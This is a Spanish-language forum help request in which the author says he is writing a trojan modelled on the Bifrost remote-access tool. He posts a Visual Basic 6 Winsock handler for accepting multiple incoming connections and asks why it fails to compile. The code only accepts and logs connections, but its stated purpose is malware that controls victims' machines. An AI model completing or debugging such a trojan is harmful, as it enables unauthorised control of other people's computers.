Autor
Código:
dim ncon as integer
Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
ncon = ncon + 1
With ws(Index)
.Close
.Accept requestID
End With
Load ws(Index + 1)
With ws(Index + 1)
.LocalPort = port
.Listen
End With
ws(Index).SendData "hem acceptat la teva peticio de conexio" & vbCrLf
Beep
List1.AddItem (ws(Index).RemoteHostIP & " sa conectat")
End Sub
Estoy haciendo un troyano.
Quiero que tenga una interfaz parecida a la del bifrost, que salga la cuadricula con los conectados y de ahi selecciono el que quiera y llevo a cabo las acciones.
Pero estoy teniendo problemas con ese codigo.
Primero me daba error al compilar en:
Citar
(Index As Integer, ByVal requestID As Long)
Decia que la declaracion del procedimiento no coincide con la descripcion del procedimiento del mismo nombre.
Asi que el Index as integer lo declare en General.
Despues el error me lo dio al cargar otro socket
Citar
With ws(Index)
Dice Numero de argumentos erroneo o asignacion de propiedad no valida
Necesito ayuda porque estoy atascado y he buscado por todos sitios y no encuentro nada al respecto.
Gracias
En línea
